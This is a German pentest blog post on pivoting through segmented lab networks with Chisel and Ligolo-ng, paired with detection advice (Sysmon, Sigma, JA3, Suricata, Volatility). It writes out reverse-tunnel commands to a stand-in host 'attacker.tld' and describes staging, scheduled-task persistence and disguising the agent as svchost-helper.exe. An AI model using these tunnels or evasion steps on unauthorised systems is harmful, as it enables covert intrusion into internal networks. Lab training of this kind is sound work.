Pentest

Pivoting mit Chisel und Ligolo-ng: Segmentierte Netze im Pentest-Lab

Por Equipe Basilisk ·

Wie man mit Chisel und Ligolo-ng in einem kontrollierten Lab uber VLANs pivotiert und welche Artefakte das Blue Team zum Erkennen des Reverse-Tunnels nutzt.

Eure Shell in der DMZ ist nichts wert, wenn ihr die VLAN 30 mit dem Domain Controller nicht erreicht. Im Basilisk-OffSec-Lab haben wir genau dieses Szenario aufgebaut: ein Linux-Host exponiert auf 10.10.1.0/24, ein internes Segment 10.10.30.0/24 mit Windows 11 und ein AD auf 10.10.40.0/24. Die einzige Route fuhrt uber die Pivot-Box, und genau dort kommen Chisel und Ligolo-ng als komplementare Tools ins Spiel. Bevor ihr ein Byte Payload schreibt, geht durch Web-Pentest von Null: Ein Sicheres Lab mit DVWA, Juice Shop und Burp Suite Bauen und stellt sicher, dass das Lab per pfSense vom Heimnetz getrennt ist.

Chisel loest das Basisproblem: ihr habt HTTP-Egress zu einem C2, aber Ingress ist zu. Mit einem Chisel-Server beim Angreifer (chisel server --port 443 --reverse --tls-key key.pem --tls-cert cert.pem) und dem Client auf dem Pivot (chisel client https://attacker.tld:443 R:1080:socks) oeffnet ihr ein Reverse-SOCKS5 ueber TLS 443, der fast immer ausgehend erlaubt ist. In echten Engagements gegen Squid- und Zscaler-Proxies messen wir weniger als 8% Blockrate, sofern das Zertifikat einen konsistenten SAN traegt. Das Muster hat eigenes Rauschen: langlebige HTTP/1.1-Upgrade-Verbindungen, genau das, was JA3-Fingerprinting markiert.

Ligolo-ng hebt die Latte hoeher, weil es ein TUN-Interface beim Angreifer baut und ganze Pakete routet, nicht nur TCP-Streams via SOCKS. Ihr startet den Proxy (./proxy -selfcert -laddr 0.0.0.0:11601), fuehrt den Agent am Pivot aus (./agent -connect attacker.tld:11601 -ignore-cert) und ruft im Proxy-Shell ifconfig + tunnel_start auf. Ab dann reicht ein ip route add 10.10.30.0/24 dev ligolo auf Kali, um nmap, CrackMapExec und sogar Impacket ohne proxychains laufen zu lassen. Befreiend, aber die IoC-Flaeche waechst: ICMP, UDP und TCP laufen jetzt durch den Pivot, was sehr gut zu den Detection-Regeln aus Lateral Movement im Lab: SMB, WMI und WinRM mit Detection-Fokus passt.

Offensiv nutzen wir folgende Kette: Initial Access ueber ein Office-Makro aus Initial Access Simuliert: Makros, LNK und ISO im Isolierten Windows-11-Lab, Test-Shell ueber Sliver-Beacon (Setup siehe C2-Infra mit Sliver im Isolierten Lab fur Defensive Forschung Aufbauen), dann Staging der Ligolo-Binary ueber Background Intelligent Transfer Service, um direkten Download zu vermeiden. Der Agent liegt in einem schreibbaren Pfad wie C:\Users\Public\Downloads und wird per Scheduled Task mit niedriger Prioritaet persistiert. Kritisches Detail: Den Agent mit -ldflags="-s -w" zu kompilieren und in svchost-helper.exe umzubenennen, taeuscht moderne EDR nicht; Sysmon Event ID 3 (network connect) liefert binnen Sekunden den Prozess, der einen unueblichen Port erreicht, sofern die Regel sauber ist.

Defensiv, und hier wird die Uebung fuer das Purple Team wirklich wertvoll, sucht ihr drei Dinge. Erstens: persistente ausgehende Verbindungen auf 443/11601 mit Laufzeit ueber 30 Minuten von Hosts, die historisch nur kurze Microsoft-365-Requests fahren. Zweitens: unsignierte Prozesse, die TLS ohne Wininet oder Schannel aufbauen (Ligolo bringt eigene Go-Runtime mit). Drittens: Erzeugung von TUN/TAP-Interfaces auf Windows-Endpoints, ein seltenes Ereignis, das eine Sigma-Regel hoher Konfidenz traegt. Verdrahtet das mit Threat Hunting mit Sigma und Elastic: Vom Indikator zur Detektionsregel und ihr habt Detection-as-Code, das viele Pivot-Varianten ueberlebt.

Logs sind euer Richter. Im Lab nehmen wir PCAP am Firewall mit Suricata im IDS-Modus auf, und die Heuristik, die Ligolo am besten fing, kombiniert ein TLS-Paket mit nicht-allowlisteten JA3-Handshake, durchschnittliche Paketgroesse zwischen 1200 und 1400 Bytes und fehlende SNI fuer die Zieldomain. Chisel versteckt sich etwas besser, weil es legitime Websockets imitiert, faellt aber ueber die Sessiondauer auf. Zur Vervollstaendigung der Analyse zieht nach dem Vorfall ein Memory-Image vom Pivot und gleicht es mit Memory Forensics mit Volatility 3: Dumps im Reproduzierbaren Lab Analysieren und dem netscan-Plugin ab; der Socket ist sichtbar, selbst wenn der Prozess injiziert wurde.

Ethik und Scope sind kein Anhang, sie sind das Fundament. All das ergibt nur in einem Lab Sinn, das euch gehoert, mit unterschriebenem Vertrag oder einem autorisierten Range wie HackTheBox Pro Labs und OffSec PG Practice. Genaue Befehle, Binary-Hashes und Ausfuehrungsfenster zu dokumentieren, schuetzt euch und den Kunden. Bevor ihr Ligolo in echtem Engagement einsetzt, prueft eure persoenliche Haltung mit OPSEC fuer Security-Researcher: Persoenliches Bedrohungsmodell und trennt Research-Maschine von Kundenmaschine. Praktisches Takeaway: stellt das Lab heute mit drei VMs und einem pfSense auf, deployt Chisel und Ligolo am selben Tag und nutzt die andere Wochenhaelfte, um die Sigma-Regel zu schreiben, die euch selbst fangt. Erst danach habt ihr die Technik wirklich verstanden.

Nenhum comentário ainda

Seja o primeiro a comentar.

Deixe seu comentário

Entre com sua conta Canverly para comentar. Você pode usar a mesma conta em qualquer site da rede.

Entrar com Canverly